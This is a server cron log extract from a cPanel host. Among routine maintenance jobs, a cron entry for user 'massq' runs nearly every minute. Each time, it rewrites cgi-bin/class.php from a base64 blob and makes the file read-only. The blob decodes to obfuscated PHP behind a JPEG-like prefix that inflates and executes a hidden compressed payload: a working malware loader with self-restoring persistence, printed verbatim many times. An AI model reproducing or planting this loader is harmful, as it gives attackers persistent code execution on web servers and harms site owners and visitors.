Sep 11 13:07:01 server CROND[16301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:08:01 server CROND[16722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:08:01 server CROND[16723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:08:01 server CROND[16724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:09:01 server CROND[17110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:09:01 server CROND[17111]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 13:09:01 server CROND[17113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:09:01 server CROND[17114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:10:01 server CROND[17513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:10:01 server CROND[17515]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:10:01 server CROND[17517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:10:01 server CROND[17533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:10:01 server CROND[17532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:10:01 server CROND[17535]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:10:01 server CROND[17536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:10:01 server CROND[17538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:11:01 server CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:11:01 server CROND[18372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:11:01 server CROND[18373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:12:01 server CROND[18872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:12:01 server CROND[18874]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:12:01 server CROND[18875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:12:01 server CROND[18873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:13:01 server CROND[19355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:13:01 server CROND[19354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:13:01 server CROND[19356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:14:01 server CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:14:01 server CROND[19743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:14:01 server CROND[19741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:15:01 server CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:15:01 server CROND[20295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:15:01 server CROND[20298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:15:01 server CROND[20302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:15:01 server CROND[20300]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 13:15:01 server CROND[20301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:15:01 server CROND[20303]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:15:01 server CROND[20299]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:16:01 server CROND[21206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:16:01 server CROND[21207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:16:01 server CROND[21205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:17:01 server CROND[21594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:17:01 server CROND[21595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:17:01 server CROND[21596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:18:01 server CROND[22121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:18:01 server CROND[22120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:18:01 server CROND[22122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:19:01 server CROND[22506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:19:01 server CROND[22507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:19:01 server CROND[22505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:20:01 server CROND[23112]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:20:01 server CROND[23114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
